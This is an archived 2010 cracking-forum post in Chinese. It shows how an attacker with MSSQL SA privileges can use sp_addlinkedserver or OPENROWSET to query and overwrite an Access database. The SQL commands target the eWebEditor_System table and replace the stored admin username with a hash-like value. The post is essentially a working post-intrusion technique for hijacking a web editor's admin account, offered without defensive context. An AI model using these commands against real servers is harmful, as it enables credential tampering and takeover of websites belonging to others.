破解天下论坛's Archiver

wumingxiaozu 发表于 2010-6-30 08:44

利用MSSQL访问并修改ACCESS数据库,需要SA权限

利用MSSQL访问并修改ACCESS数据库,需要SA权限

两种方法,一种是通过sp_addlinkedserver链接服务器来对ACCESS进行操作

//添加链接
sp_addlinkedserver 'mytest2', 'Access 2000', 'Microsoft.Jet.OLEDB.4.0', 'e:\1.mdb'
修改数据
update mytest2...eWebEditor_System set sys_username='17a57a5a743894a0e'

利用OPENROWSET来对ACCESS进行查询或者修改

//查询
select * from OPENROWSET('Microsoft.Jet.OLEDB.4.0', ';database=e:\1.mdb', 'select * from eWebEditor_System' )

//修改
update OPENROWSET('Microsoft.Jet.OLEDB.4.0', ';database=e:\1.mdb', 'select * from eWebEditor_System' ) set sys_username='7a57a5a743894a0e'


两种方法都可以,需要的是SA或者SASCERITY的权限

页: [1]

Powered by Discuz! Archiver 7.0.0  © 2001-2009 Comsenz Inc.